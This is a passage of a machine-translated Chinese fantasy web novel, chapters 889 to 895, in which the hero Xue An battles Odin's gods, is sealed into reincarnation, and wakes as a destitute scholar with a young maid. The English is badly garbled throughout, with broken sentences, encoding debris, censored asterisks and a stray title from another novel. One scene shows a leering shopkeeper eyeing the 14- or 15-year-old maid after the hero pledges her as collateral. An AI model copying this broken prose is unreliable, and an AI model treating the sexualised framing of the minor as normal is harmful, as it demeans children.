    The extremely harsh killing intent caused the whole world to groan overwhelmedly.


    Xue An said coldly: "Very good! You Nordic Gods, there is no need to exist!"


    Vidal smiled disdainfully, "Xue An, do you really think we are still the weak aboriginal gods on earth before?"


    "After following the adults, our strength has increased more than ten thousand times!"


    "Xue An, because you and I have both lived in that world, surrendered obediently and bound your soul, there may be a ray of life! Otherwise, if you insist on exploring the battle ten thousand years ago, ha ha, all In the world of heaven, no one can protect you!"


    "Hehe!" Xue An lowered his head, his hair covered his eyes, making his eyes blurred, and then let out a cold laugh that seemed to come from hell.


    "No matter who the other party is, since he committed a heinous murder to the Chinese, then he must pay with ten times the blood!"


    "You..." Vidal''s face sank as he wanted to speak.


    Endless floating in the air, full of sword glow.


    And Xue An stood at the top of everything, overlooking the gods, and said lightly: "And you, are the interest of this blood debt!"


    Boom!


    Following Xue An��s voice.


    Endless sword light rained down.


    Xue An at this moment has a killing intent.


    Sword Intent is extremely violent.


    in an instant.


    The most frail kin was killed and injured.


    There are only a few blood clan elders and blood **** generals, who can barely protect themselves under this sword.


    But such a powerful and unparalleled sword intent did not cause much damage to these Nordic Protoss.


    Only those armored soldiers were shattered by the sword light, but in an instant, these armored soldiers reunited.


    As for several high-level gods such as Vidal, they only received some slight damage.


    Vidal sneered: "Xue An, your sword intent is good. If you are outside, maybe I am really not your opponent! But do you know why we are here waiting for you?"


    Following Vidal''s voice, on the firmament of this core blood world, **** patterns appeared, even covering the entire sky.


    Then Xue An felt his whole body stiff, as if the world around him was opposing him, and even his movements became a little slow.


    Xue An''s eyes are full of glory, "The Kingdom of God!"


    Vidal watched in time, but when he heard what Xue An said, a look of surprise flashed in his eyes, "Yes, it is the kingdom of God! Xue An, you know so much! I even do I suspect you are a descendant of a certain starry sky family!"


    Xue An snorted coldly, fighting against the pressure of the entire world.


    Vidal grinned, "It''s useless, Xue An, no one can survive under our kingdom of God! Because people...can''t defeat God!"


    After that, Vidal laughed.


    The laughter is full of joy of teasing the prey.


    But at this moment, Xue An''s calm voice came from behind him.


    "Really? Then I will... kill God today!"


    After that, Xue An threw a punch.


    Vidal was shocked, and he didn''t even have time to resist, so he could only watch the punch come.


    Fortunately, the sun **** Frei who was beside him gave a cold cry, raised his sword and rushed forward, abruptly blocking Xue An''s punch, which allowed Vidal to avoid the blow.


    But this sun **** Frey just took a few breaths and was blasted hundreds of miles away by Xue An''s supreme fist.


    Then the Divine Victory Sword in his hand shattered suddenly, and cracks appeared on the divine body.


    Frey, known as the sun god, didn''t even get a punch from Xue An.


    Such a scene made this Vidal horrified.


    At this moment, Xue An raised his eyes and smiled coldly at Vidal.


    "Next, you won''t have as good luck as you just did!"


    Vidal trembled all over, he felt Xue An��s smile made his heart tremble.


    At the same time, it made him extremely angry.


    I was the son of the supreme **** king, and he was actually frightened by a human being.


    So he roared: "Give me all! Kill him!"

 Chapter 890： The Peerless Battle of Odin King

    With an order, Yemengade under his seat, the sun **** Frey who was blown out, and the frost giants, including those heroic warriors, all crossed the void and surrounded Xue An.


    In the face of such a menacing siege, Xue An showed no fear.


    At this moment, he has only one thought in his mind.


    That is to kill!


    Kill all the gods who helped Chun to abuse and be a foreign stooge, and avenge the Chinese back then!


    Therefore, Xue An''s fighting spirit is like crazy, his fists are like shooting stars, and he blasts at these arrogant gods again and again.


    bang bang bang!


    After a few muffled noises.


    The sun **** Frey was blasted out again, but this time he was not as indifferent as before.


    Because his divine body has shown countless cracks in the bones, if there is another punch, he may be completely shattered.


    Therefore, he looked at Xue An with horror, and did not dare to come over for a while.


    The Frost Giant was shattered by half of his body, and he could barely stand in the void.


    Even more miserable is the Yemengade, known as the serpent of the world.


    Its body was smashed in half by Xue An, and it was twisting like an earthworm at the moment, trying to get it back.


    And Vidal, without the calmness he had just now, there were cracks in the boot that would never fall off under his feet.


    That is the artifact that his father God Odin personally gave him, claiming to never be destroyed.


    also failed to survive Xue An''s punch.


    this moment.


    Vidal looked at Xue An with horrified eyes.


    This man is too strong.


    is strong beyond his imagination.


    Why would there be a strong man like him in the earth that has become a Jedi?


    Vidal was surprised.


    Xue An did not show the slightest fatigue. Instead, he raised his finger to the opposite Vidal, and said coldly: "This is just an appetizer. Next, the show begins!"


    "Cause and effect!"


    Boom!


    The power of powerful rules came directly, and bound these gods to death.


    Vidal struggled several times, but found that he couldn''t break free, and he couldn''t help being terrified.


    at the same time.


    Xue An said lightly: "Reverse!"


    Boom!


    The endless force of cause and effect directly drowned these gods.


    in an instant.


    The sun **** Frey, the frost giant, including the world-destroying snake Yemengade, were all shaken to dust, and even the godhead was turned into nothingness.


    Only the son of the **** king, Vidal, is still struggling to support him relying on the boots of the artifact that Odin gave him.


    But seeing that the cracks on the boots are getting deeper, it obviously won''t last long.


    Vidal yelled in horror: "My Lord Father, save me!"


    The voice just fell.


    Above Vidal''s head, a spear exuding terrifying power suddenly appeared, and then within a short period of time, this spear pierced the void and pierced Xue An''s face.


    But when the tip of the gun was ready to pierce the hairs on Xue An''s face, Xue An''s hand was raised at an almost impossible speed, and he directly held the spear.


    Boom!


    The immense power brought Xue An Du to a hundred feet away before he could barely stop.


    But even so, this spear failed to pierce one point forward.


    Vidal looked a little silly.


    just when the spear just emerged.


    Vidal was full of ecstasy, thinking that Xue An was dead.


    Because this gun contained the existence of one''s own Lord God''s full blow.


    can even be said to be the true projection of the supreme artifact, the gun of eternity in this world.


    No one will be the opponent of this blow.


    But he never expected that even so, he still could not kill Xue An.


    At this time, Xue An said calmly: "Is it a projection of the Eternal Spear? Unfortunately, if it is a real Eternal Spear, I might still be afraid of three points. With this, what can I do?"


    After that, Xue An shook it abruptly.


    Click!


    The tip of this spear was pinched off.


    Then the spear let out a mournful sound, turned into golden light and dissipated invisible.


    With the shattering of this spear, Vidal trembled all over, and finally felt the real fear of death.


    But at this moment, the whole world suddenly stagnated.


    The cloud stopped the wind, it seemed that even time had stopped.


    Then I saw the sky trembling, and a huge face began to gradually emerge.


    This **** face has one-eyed long beard and a crown on his head. As far as the power of God is, there are faint signs of broken space.


    Seeing this scene, Vidal was startled at first, and then couldn''t help being overjoyed, "My Lord Father, save me!"


    Xue An stood with his hands behind, looked up at this huge **** face, and said lightly: "God King Odin!"


    That''s right!


    This one-eyed **** is the legendary Odin, the king of the gods who symbolizes war and death!


    I saw a flash of light in Odin''s one-eyed eyes.


    A dazzling divine light burst out, directly smashing the power of cause and effect that envelops Vidal.


    Then he spoke slowly with a loud voice.


    "A strong Chinese, you are so arrogant, haven''t you thought about the consequences?"


    As far as the sound is, there are frequent phenomena of heaven and earth around me.


    Xue An was unmoved, just standing proudly in the air, with a cold expression: "Consequence? When you betrayed the earth, took refuge in outsiders, and slaughtered my Chinese, did you ever think about the consequences?"


    Odin, who occupies the entire sky, snorted coldly, "Since you want to go your own way, today, I will kill you with my own hands!"


    After all, the entire core blood world was violently violent, and countless thunder lights shrouded the sky.


    The Wrath of God King.


    Horrible!


    Even the Lord of the Blood God, Caia, bent down at this moment, showing his humility.


    Faced with all this, Xue An''s eyes became more and more brilliant.


    "Stop talking nonsense, come and fight!"


    Boom!


    Odin stretched out a finger and pressed it directly to the ground.


    Although it''s just one of his fingers.


    But because his divine body was too huge, after this finger entered the core blood world, it became as frightening as an Optimus pillar.


    and the pressure, the ground collapsed, and a bottomless pit appeared.


    Xue An didn''t move, he just raised his fist, then blasted towards the sky, facing Odin''s burning sky.


    boom!


    After a muffled noise.


    A terrifying shock wave spread from the place where the two attacked.


    wherever he went.


    The mountain is broken The earth is shaking.


    All the blood races were all stunned by this power, they retreated to the distance, and then looked at them with fear.


    After the light dissipated, Xue An stood still in the air, without the slightest retreat.


    Then he heard Odin let out a roar.


    Immediately afterwards, the fingers broke every inch and turned into a heavenly light.


    "What? Can you withstand the blow of Lord Father God?" Vidal''s eyes were almost staring out.


    "Chinese, I want you to be broken into pieces!" Odin roared, and a peerless spear appeared in his other hand, and then pierced straight down.


    Wherever ���� passed, the space burst.


    The real artifact, the gun of eternity!


    This world!

 Chapter 891： Against the world, reincarnation!

    As powerful as possible.


    Xue An��s clothes were all hunting, and the space around his body began to disintegrate.


    But Xue An didn''t have the slightest fear, and the light in his eyes skyrocketed, and then rose to the sky, directly shaking the peerless blow of the Eternal Spear.


    Boom!


    Where the two sides fought, the space was shattered, and a terrifying black hole appeared.


    Then the spear was repelled.


    But Xue An also snorted, and couldn''t help but step back several tens of feet.


    The whole audience was silent.


    No one thought that Xue An would be so vigorous, and he dared to smash the Eternal Spear head-on, and he actually succeeded.


    At this time, Vidal pointed at Xue An suddenly, "He is injured!"


    Many eyes gathered away.


    As expected.


    I saw a ray of blood dripping down Xue An''s wrist.


    despite this.


    The audience was still terrified.


    After all, it was a blow that carried Odin''s anger!


    The result was broken by Xue An, which is simply incredible.


    Xue An slowly raised his hand, looked at the shattered wound in his hand, and smiled sensibly.


    "Very well, I haven''t felt hurt for a long time!"


    Although Xue An is smiling.


    can fall into the eyes of this sky full of gods and demons, but it makes their hearts feel cold.


    Even God King Odin can''t help but change slightly at this moment.


    In fact, the bang just now.


    His taste is not good either.


    The hand holding the Eternal Spear is still numb.


    All this made him terrified as the Norse king.


    What is the origin of this boy?


    Why is it so powerful?


    At this moment.


    Xue An said lightly, "In order to commemorate my injury this time, I will make your godhood a badge and give it to Yan''er!"


    Odin was taken aback, just about to speak.


    Xue An took a step forward, his aura around his body soared, and then coldly shouted, "I use my blood... to make Shuanglian!"


    Boom!


    The blood that dripped from Xue An''s hands turned into blood-red crystal lotus flowers, which were filled with two red and white flames.


    Immediately afterwards, these lotus flowers condensed from Xue An''s blood rushed to the sky.


    bang bang bang.


    The muffled sound continued one after another.


    These double lotus are like bombs, they exploded after hitting Odin''s extremely huge divine body.


    is so powerful that Odin roars with every blow.


    "Ahhhhh! Chinese, I will plunge your soul into the abyss, so that you will endure endless pain, but you will never die!"


    Odin issued a deafening curse.


    Xue An had no sorrow or joy, he just raised his foot and appeared in front of Odin, and said lightly, "The game is over!"


    After that, Xue An raised his fist, stepped, and blasted out.


    boom.


    The power of this punch is so powerful that if it hits it, it is enough to make this Odin fall completely.


    But at this moment.


    In Odin''s forehead, a horrible spiritual thought suddenly appeared.


    Then I heard a cold female voice coming from it.


    "Fight against the world, reincarnation! Seal!"


    Following these words, this divine thought came and completely enveloped Xue An.


    Then, Xue An''s momentum began to fall wildly.


    Xue An''s face sank, and he said coldly, "Great Seal Technique? It seems that you are really ready to block everything!"


    The words are full of anger.


    Because Xue An knew that this great sealing technique was an extremely vicious, but at the same time, extremely powerful sealing method.


    Once the ���� is deployed, the sealed one will be knocked out of all cultivation bases and reenter the cycle.


    No matter how strong your Taoist foundation is, it will be ruined at that time.


    But the great seal technique also requires extremely high requirements for the caster, and at least it must be a strong one before it can be used.


    In other words, even this King of Odin can''t use it.


    Xue An can see that this great seal technique was deliberately left in the Godhead of Odin.


    After meeting suitable conditions, this technique will be activated.


    This shows how deliberate the other party is.


    "Unfortunately, this sealing technique is still too weak for me!"


    As he said, Xue An''s eyes narrowed, and the powerful spirit attacked outright.


    Boom!


    The divine thought that had bound Xue An firmly was a violent tremor, and it almost shattered.


    "Come again!" Xue An yelled coldly, and was about to launch another spiritual bombardment.


    at the same time.


    In the depths of the extremely distant starry sky in the heavens and myriad worlds, there is a cavernous sky.


    And this moment.


    in this cave sky.


    A woman covered in light and mist is sitting cross-legged.


    suddenly.


    She shook her whole body suddenly, and then spit out a mouthful of blood, her face even more shocked.


    "What''s the matter?" There was an extremely majestic voice.


    "Young Master, someone is breaking the seal that I have left in the body of the Norse King!" The woman said with a hint of panic.


    "There is still such a thing!"


    At this moment, the woman began to tremble again.


    "Young Master...!" The woman exclaimed in exclamation.


    "Huh! Really looking for death!"


    With this voice, an extremely powerful divine mind came directly across the void through this woman''s connection.


    this moment.


    Xue An was only a little short of completely destroying the great seal technique that bound him.


    at this time.


    The surging spiritual thoughts also arrived.


    Boom!


    The dim Great Seal technique suddenly released an extremely bright light, spreading over the sky.


    Xue An''s complexion condensed, and his words were full of cold killing intent, "Daluo Peak!"


    That''s right!


    This divine mind that came across the void is the strength of Da Luo''s pinnacle.


    Moreover, the rules are complete, and there is no regret about the completeness.


    This level of strength is enough to crush the entire galaxy.


    Xue An couldn''t help but feel tight.


    can be found in Xue An''s dictionary, and there is no word for bowing.


    Therefore, he sneered, "Finally, I still can''t help it? Don''t worry, none of the messengers behind you can escape!"


    As he said, Xue An condensed all his spiritual thoughts into needles and slammed into the weakest point of the spiritual thoughts.


    This big seal trembles suddenly, and it almost breaks directly under this blow.


    can be at this time.


    This divine mind suddenly skyrocketed, and in an instant it was dozens of times more powerful, and then this great seal technique suddenly took shape, directly dragging Xue An to the unknown void.


    Immediately afterwards, ripples appeared in the void, and then the space gradually became thinner, revealing a big world inside.


    Xue An wanted to struggle, but at the moment when he had to peek into the world.


    Xue An was slightly startled.


    Because he felt a very faint, but very familiar breath.


    And just after he was stunned.


    Under the impetus of divine consciousness , this big sealing technique completely dragged Xue An into this world.


    Boom!


    disappeared in place with Xue An''s figure.


    The world closes suddenly and disappears completely.


    looked at the sky that had become empty.


    The blood races and Vidal were all a little surprised.


    How is this going? Could it be that this tyrannical Chinese teenager just died?


    Only Odin shook his whole body and regained consciousness, then lowered his proud head, his eyes full of awe, and said respectfully.


    "Thank you, sir!"


    Invincible, starting from Dad Xianzun


    Invincible, starting from Dad Xianzun

 Chapter 892： Cut the grass to get rid of the roots

    Thank you sir?


    Everyone present was a little shocked, and then Vidal, the son of the King of God, and Gaia, the blood god, looked at each other, all showing incomparable shock.


    can make Odin, the king of gods, call it sir so respectfully, and the identity of the other party is about to emerge.


    At this moment.


    In the void, a group of light and shadow emerged, and then a voice full of supreme majesty came from the light and shadow.


    "Odin, what''s going on?"


    Odin hurriedly recounted what happened.


    After listening, there was a moment of silence in the light and shadow, and then a cold smile came.


    "The Chinese..., hehe, I didn''t expect that after so many years, this group is still dead, and there are such strong people!"


    "No matter how powerful, in front of you, they are just like ants!" Odin didn''t even forget to flatter him at this moment.


    "Hehe, you have done a good job of waiting for this, but it is far from enough! Since there can be such a powerful person in the world, it means that the law of heaven is recovering, and with the character of the Chinese lunatics, it must be I will seize this opportunity stubbornly!"


    "Then Lord Yi means..." Odin said with a solemn expression.


    "Cut the grass to get rid of the roots, it seems that Fang Tiandi can''t stay!"


    These words came out.


    The whole audience was silent.


    Odin''s eyes flickered slightly, "Understand, what do I need to do?"


    "I have to deal with some affairs on my side. You lead the gods of the Nordic Gods to prepare first, and when I come, you will kill them!"


    Although the voice was indifferent, it was full of terrifying killing intent.


    Odin felt a little nervous when he heard it.


    Because of the battle before ten thousand years ago, he had personally witnessed it.


    was besieged by those crazy Chinese monks, but he would have a terrifying nightmare when he thinks of it.


    Therefore, he was a little bit reluctant about this matter, and couldn''t help but ask softly: "My lord, I don''t know if this is what you meant or the above..."


    "Audacious!" The voice shook in the light and shadow.


    Under the oppression of the mighty power, Odin, who is the king of God, couldn''t help taking a few steps back.


    "You deserve to tell me these things? Find out who you are!"


    Odin turned pale, bowed his head repeatedly, and then cautiously said, "Yes, yes! Your sir! I just think this Chinese monk has already been hit by the Great Sealing technique, and is dead! Go to Fang Tiandi Zhi Did the slaughter make a fuss? And if you do this, do the people above know?"


    "Huh! What do I want to do, do I still need their approval? Odin, don��t think I don��t know what you think. Although this Chinese monk is dead, if you don��t completely destroy the world, it��s a Chinese character , There will be strong people soon, and you, the gatekeeper, will be even more to blame!"


    Odin''s complexion suddenly turned pale, and then he said in a nonchalant manner: "Yes! The little **** understands!"


    "Very good! Gaia!"


    The Lord of the Blood God, Gaia hurriedly stepped forward and responded: "My lord!"


    "This time your blood will also contribute a bit, understand?"


    Gaia didn��t have as many worries as Odin, and he smiled cruelly when he heard the words, "I''m so happy!"


    "Waiting for my coming here!"


    After that, the light and shadow shattered and disappeared into the sky full of stars.


    Now, only the gods of Odin and the blood races were left looking at each other.


    Until a moment later, Odin said coldly: "My lord''s order starts from the whole blood world!"


    Gaia felt a little displeased in her heart, but at this moment, the situation was stronger than that of human beings, her godhead was damaged, and her strength was greatly weakened. He was not as powerful as the **** king who hugged his thigh, so he could only nod his head.


    "it is good!"


    soon.


    Odin sent tens of thousands of heroic warriors from the space-time channel, and sent several high-level gods.


    These strengths are combined, preparing to cleanse the blood world first.


    can wait for them to walk out of the core blood realm and come to the outer blood realm.


    The sight in front of them surprised them.


    Because of the once prosperous outer blood world, it has been completely deserted at this moment.


    After Xue An��s previous raids, nine out of ten blood races lived here, but some blood races who had never been contaminated with killings survived, and the blood family secret parties have all survived.


    So although the number of blood races dropped sharply at that time, it was not as good as it is now.


    The blood world today can be said to have completely become a wasteland, and even a single figure cannot be seen.


    "What is going on? What about those Xue An''s supporters who survived before?" Vidal asked with murderous expression.


    The blood **** Gaia was also dumbfounded at this time.


    Because he couldn''t understand, how did these guys learn the news, and then escaped.


    But this is the end of the matter, and it is not guilty of going after a group of Xue An''s supporters.


    This matter is over.


    was actually just after Xue An disappeared.


    Allard and others who were in the outer blood world already knew.


    Because Elad has a very peculiar talent although his cultivation is not strong.


    That is to leave a mark of divine consciousness on people.


    This imprint has no lethality and can only serve as a mark.


    But this is a talent that can be called a tasteless one, but he saved these people at a critical moment.


    After failing to feel the imprint of divine consciousness left on Xue An''s body, Allard immediately understood that things had changed!


    Because this mark will never be invisible unless it is dead or disappears from this world.


    And if something really happened to Xue An.


    Then those blood elders will never let go of themselves.


    In a hurry, Erad decisively summoned all the blood races immediately, and then did not dare to delay, left the blood **** realm directly through the time and space channels that had been detected long ago, and came to an Erad that has worked hard for many years. Mystery.


    This secret realm is a retreat reserved by Ellard, just to have a place to go after a major change and they have just left.


    The blood **** Gaia and the Nordic gods rushed over.


    It can be said that if Elad had the slightest hesitation at the time, what awaited them would be catastrophe.


    this moment.


    in that little secret realm.


    Everyone''s mood is very low.


    Especially the blood races such as Ai Xi and Hall who followed Xue An all the way, their faces were full of frustration.


    Ellard shook his head slightly when he saw it, "Well, I know everyone is feeling uncomfortable, but the disappearance of the mark does not mean that the adult has really fallen!"


    A gleam of brilliance gradually appeared in the eyes of Ai Xi and others upon hearing Elad''s words.


    "You mean, maybe the adult is not dead?" Ai Xi asked first.


    Ellard nodded, "Anything can happen without seeing it with my own eyes!"


    Everyone''s faces are slightly better now.


    "Okay, all we have to do is to save our strength here and wait for the return of the adults!"


    "Yes!"


    Everyone dispersed.


    But after he was the only one left, a deep worry appeared on Allard''s face.


    "I hope... you don''t let us down!"

 Chapter 893： The catastrophe of the world

    Just here when the storm is surging.


    in the unknown world.


    Xue An slowly opened his eyes.


    Then he felt a little dizzy and his muscles ached.


    is the aftereffect of traveling through time and space?


    Xue An was wondering in his heart, and then he heard a soft female voice full of surprises.


    "Master, you are awake!"


    Master?


    How does this name sound so weird?


    Xue An raised his head and saw a girl who was only fourteen or five years old.


    At this moment, this girl is standing slim in front of the bed, looking at herself with a smile.


    Although the light in the room is a bit dim.


    But Xue An can still see the girl''s appearance.


    I saw her skin is fat, her eyebrows are picturesque, and she is wearing a coarse cloth costume, with a slightly funny meatball head on her head.


    and many more!


    Ancient costume?


    Xue An moved slightly in his heart and looked around the room.


    I can see that the furnishings of this room are very simple, and the ground is even soil, and it is shiny because of long-term trampling.


    The hard touch from underneath tells Xue An that this is obviously a broken wooden bed.


    And the air is filled with a strong smell of herbs.


    Xue An narrowed his eyes, felt the cultivation in his body, and then a cold smile appeared at the corner of his mouth.


    As expected.


    The body is empty, just like ordinary people who have never practiced before.


    "Fight against the world, reincarnation, great seal technique! Haha!" Xue An whispered softly, her eyes flickering.


    Xue An understands.


    He has been dragged into reincarnation by the Great Seal Art.


    And what I am facing now is a catastrophe in the world.


    If it were other cultivators, they would be shocked and silly when they encountered such a thing.


    But Xue An did not panic at all.


    Especially when he remembered the breath he felt when he entered this world, the smile at the corner of his mouth couldn''t help but grow stronger.


    But the girl is obviously a bit naive, and she didn''t even notice this, but was talking babblingly.


    "Master, you have been sleeping since last night, and you have been asleep until you wake up now. Chan''er is very worried about you! Humph, that badass treasurer actually said that Master, you are seriously ill, and you won��t be able to live long! A look of stinky shit!"


    "The young master is going to get fame and become a high official, how could he die in this shabby place! By the way, are you hungry, young master? Although the villain treasurer looks at me very strictly, how can he stare at me? Yesterday? In the evening I took advantage of him to fall asleep, and sneaked into the kitchen and stole a big piece of pie! Hehe, isn''t Chan''er very good?"


    said, the girl carefully took out a large piece of tortilla from her arms and handed it over.


    Xue An looked down and saw that this tortilla with a girlish fragrance still had a shallow tooth mark on it.


    Seeing Xue An staring at the tooth print on it with a smile.


    The girl blushed and said embarrassingly: "Master, I was so hungry today that I secretly took a bite! I promise, I really only took one bite!"


    As she said, the girl stretched out a slender finger, and said with a serious face.


    Xue An looked at this young girl with a pretty face, and his heart warmed for no reason.


    This little girl should be a little maid!


    Look at that age, if you are on the earth, you should be just a junior high school student.


    can be in this world, but he is very clever and sensible, and he is not even willing to eat a piece of stolen bread, but instead wants to give it to his owner.


    Such a pure and unblemished little girl made Xue An''s mood even better.


    "Um...girl, what''s your name?"


    "Huh?" The girl stared at Xue An suspiciously, and then reached out and put her hand on Xue An''s forehead.


    "It''s not very hot! Master, are you confused? I am the little maid who served you since I was young, Ye Xiaochan!"


    "Ye Xiaochan..."


    Xue An whispered a few words, and then suddenly a lot of pictures popped up in his mind.


    These pictures are all about a teenager.


    And this boy is also called Xue An.


    After quickly browsing through these screens.


    Xue An probably understands this teenager''s life experience and past.


    Anyway.


    This is an almost perfect traversal template.


    was born in poverty, although he worked hard to study, he has still failed to achieve anything until now.


    is the only little maid Ye Xiaochan who picked it up since childhood.


    This time, I finally got together and prepared to go to Kyoto for fame.


    However, halfway through, he fell into a serious illness and fell into the inn.


    Although he had exhausted all the medical advice and even had been in arrears for a long time even after arriving at the shop, the body still died silently on the bed.


    Then, Xue An appeared here.


    of course.


    All this is just a memory in my mind.


    Xue An was not commenting on this.


    Because the great seal technique is terrifying, it is because it allows the printed person to relive the cycle.


    And in this reincarnation, you don��t know what is real or what is fictitious!


    Maybe this body and this identity were created to cater to Xue An''s arrival.


    Looking at Xue An, who was silent and his expression changed, Ye Xiaochan was frightened.


    She thought that her young master had been ill for so many days and burned her brain out.


    can''t help crying and said, "Master, what''s the matter with you? Don''t scare me!"


    Xue An recovered from thinking and shook his head and smiled.


    "It''s nothing It''s just that I slept for too long, my head just got a little stupid, it''s all right now!"


    "Really all right?" Ye Xiaochan asked cautiously.


    Xue An smiled and nodded.


    Ye Xiaochan patted her chest and let out a sigh of relief, "You scared me to death! I thought you had forgotten me, Master! It��s fine! Master, you have something to eat first!"


    Talking, Ye Xiaochan stuffed the tortilla into Xue An''s arms.


    Xue An was a little bit dumbfounded.


    But for this charming and lovely girl, he also liked it very much, and was about to talk.


    at this time.


    I only heard a sound of footsteps outside, and then someone said very impatiently: "Little girl film, if you can''t get the shop money today, that is to say, you have to get out of the big sky!"


    Following the voice, the door was kicked open with a bang.


    Then came in from the outside, a shopkeeper with a bitter face.


    When the shopkeeper walked in, he saw Xue An sitting on the bed at a glance. He was taken aback and then sneered.


    "Yeah, it''s really fateful! You didn''t die, but you woke up? Just so, since you, the young master, are awake, then give me the shop money quickly! Otherwise..."


    The shopkeeper''s eyes rolled around Ye Xiaochan''s body, his eyes full of greed.

 Chapter 894： Aggressive

    As if he felt the greed in the eyes of the shopkeeper, Ye Xiaochan''s pretty face turned pale in an instant, and his whole body was trembling slightly, looking very panicked.


    "Uncle treasurer, please give me a few more days of grace. Now my young master is cured, I will be able to pay you all the money soon!" Ye Xiaochan begged in a low tone.


    The shopkeeper was not moved at all, but sneered.


    "Little girl film, I have listened to you more than ten times, and I''m tired of hearing it! Tell you, if you can''t get the money today, it''s useless to say anything!"


    Ye Xiaochan showed a hint of despair on her face.


    The young master has been ill for such a long time and has already spent all his savings.


    Even Ye Xiaochan pawned all the clothes he was carrying with him, and now he was wearing this single shirt.


    It can be said that the ammunition has been completely exhausted.


    Otherwise, as a girl, she would not be forced to sneak into the kitchen in the middle of the night to steal tortillas.


    And now the shopkeeper is so aggressive, and he wants to pay all the restaurant bills today, how is this possible?


    Ye Xiaochan''s heart was full of anxiety, and he couldn''t help turning his head to look at Xue An, hoping his young master could do something good.


    But only then did she realize that her young master was now bowing his head and said nothing.


    Ye Xiaochan looked disappointed.


    Yes!


    The young master has recovered from his illness, what can he do?


    At this moment, the shopkeeper said: "What? I have nothing to say? Xue Gongzi, you are also a student at any rate. It is natural and righteous to live in a store and pay for it! You should always understand this truth?"


    The shopkeeper was polite on the surface, but when it came to the three characters Xue Gongzi, he deliberately increased his tone, which seemed full of mockery.


    Especially when he saw Xue An lowered his head and said nothing, he was even more disdainful.


    Useless is a scholar!


    This is true.


    It seems that the thing that Master Chen told me has finally come to light!


    The shopkeeper''s heart was full of triumphant thoughts.


    But he didn''t even know that Xue An''s mouth gradually showed a cold smile at this moment.


    Although Xue An''s cultivation base has been temporarily sealed, his facial features are still far superior to ordinary people.


    Therefore, as soon as the shopkeeper entered the door, Xue An discovered that someone was peeping here in the distance outside the house, and his eyes were full of desire.


    And the aggressiveness of the shopkeeper and the greedy look at Chan''er both confirmed Xue An''s guess.


    This guy, there must be someone behind it.


    At this moment, Chan''er said annoyedly: "Uncle shopkeeper, my young master has recovered from a serious illness and is still very weak, so I hope you can be polite when you speak!"


    "You are welcome?" The shopkeeper sneered for a while, "Okay, take out the silver, I promise to be polite immediately! If you don''t have one, then less install garlic here!"


    "You..." Ye Xiaochan was anxious, and there were tears in his eyes.


    At this moment, one hand lightly patted her thin shoulder.


    "Chan''er, step aside!"


    Ye Xiaochan was taken aback, then looked back.


    I saw that Xue An didn''t know when he had gotten out of bed, and was standing by the bed, looking at himself with a smile.


    "Young Master..." Ye Xiaochan was a little worried.


    Xue An waved her hand and motioned her not to speak, then looked at the shopkeeper opposite, and said lightly: "How much money do you owe you?"


    The shopkeeper wanted to make a mockery, but he didn''t know what was going on. When he saw Xue An''s indifferent gaze, he felt a chill in his heart, and said subconsciously.


    "A total of eighteen two and three silver coins!"


    "You are talking nonsense, how could there be so much?" Ye Xiaochan''s face was swollen with anger.


    "Little girl, if you owe me the shop money for such a long time, there will be interest, of course, there will be so much!" The shopkeeper sneered.


    "You..." Ye Xiaochan wanted to say something else.


    Xue An said lightly: "Okay, I''ll give you twenty taels!"


    what?


    Twenty taels?


    The shopkeeper and her husband were all taken aback.


    Then the shopkeeper looked at Xue An in surprise.


    He suddenly discovered that this scholar who was once a wasteful scholar seemed to be a different person at this moment.


    Although just standing there simply, there is a kind of calmness and nobility that is not anger or prestige.


    And this kind of aura is not even possessed by Young Master Chen.


    The shopkeeper was a little surprised, but still said: "That''s fine, take it out!"


    said, he stretched out his hand in front of Xue An.


    Xue An said lightly: "But not now!"


    The shopkeeper''s complexion sank, "Master Xue, are you playing me on purpose?"


    Xue An shook his head, "Of course not!"


    "then you����."


    Xue An interrupted him directly, "At sunrise tomorrow, I promise to give you twenty taels of silver!"


    "Hehe, I will say this too, but who believes it!" The shopkeeper''s face was disdainful, thinking that Xue An was delaying time.


    But at this time, Xue An pointed to Ye Xiaochan next to him and said lightly.


    "If you can''t cash it out by then, my maid... will be yours!"


    The shopkeeper was stunned.


    Ye Xiaochan was also stupid.


    It wasn''t until a moment later that the shopkeeper''s eyes showed ecstasy, "Xue Gongzi, this is what you said! I hope you speak up by then!"


    Xue An nodded, "Of course!"


    "Okay! Very good, then I will give you one more day, tomorrow sunrise, I will come over to get the money! Can''t get it out, huh, don��t blame me for being polite!"


    After ���� the shopkeeper finished speaking, he looked at Ye Xiaochan, who was pale on the side with joy, and said pretendingly: "Chan''er girl, it seems that your young master doesn''t cherish you very much!"


    After that, the shopkeeper left with a smug look.


    Ye Xiaochan and Xue An are left in the room.


    Ye Xiaochan cried out with a cry.


    "Master, you can''t do without me. I will wash you and cook for you, and even when I grow up, I can give birth to you! Please don''t sell me to this shopkeeper!"


    said, Ye Xiaochan was about to kneel down.


    Xue An grabbed her, "Silly girl, how could I sell you to them?"


    "But..." Ye Xiaochan asked with tears on his face.


    Xue An smiled, "Don''t worry, I will have my own way at that time!"


    Ye Xiaochan wanted to ask, but didn''t dare to ask, his eyes were still full of panic and despair.


    When Xue An was in a coma, the shopkeeper wanted to take advantage of him several times.


    has been concealed by myself.


    I thought that when the young master woke up, everything would turn around.


    I didn''t expect the young master to sell himself Ye Xiaochan''s heart was naturally full of misery.


    After all, in her opinion, twenty taels of silver is an astronomical number.


    The time of the day is not enough.


    At this moment, Xue An said lightly: "Are you hungry?"


    Ye Xiaochan shook his head like a rattle, and then looked at Xue An carefully, "Master, Chan''er is not hungry, Chan''er can still be hungry for three days!"


    She was afraid that she would be sold out by Xue An if she said she was hungry.


    Xue An rubbed her little head distressedly when he heard the words, "Okay, you are growing up, what do you do if you are hungry? Go!"


    "Master, where are you going?"


    "Master, I will take you to a big meal!"

 Chapter 895： Come and wait at the table

    This inn is a typical structure of the front shop and back house.


    The house along the street in front is a restaurant used to entertain passersby for dinner, and the back house is a guest room.


    Although it is not very big, it is very clean and tidy. Besides, it is located in the main street of the small town, so the business is very good.


    At this moment, it was noon, and the aroma of food wafted from the restaurant in front, which made the index finger move.


    At least Xue An caught a glimpse of Chan''er secretly swallowing saliva more than once.


    Having been hungry for such a long time, this little girl who is growing up has already become hungry.


    Therefore, the smell of food in the air is simply a torment for her.


    But out of fear of being sold, Chan''er trembled: "Master, don''t go, don''t we still have half a tortilla? You eat the pancakes, I just need to drink more water!"


    Xue An stopped, turned around and looked at the little girl quietly.


    Under Xue An''s gaze, Chan''er lowered her head very awkwardly, kneading the corners of her clothes with her fingers.


    "Chan''er, you disappointed me so much!"


    Ye Xiaochan was shocked, "Master..."


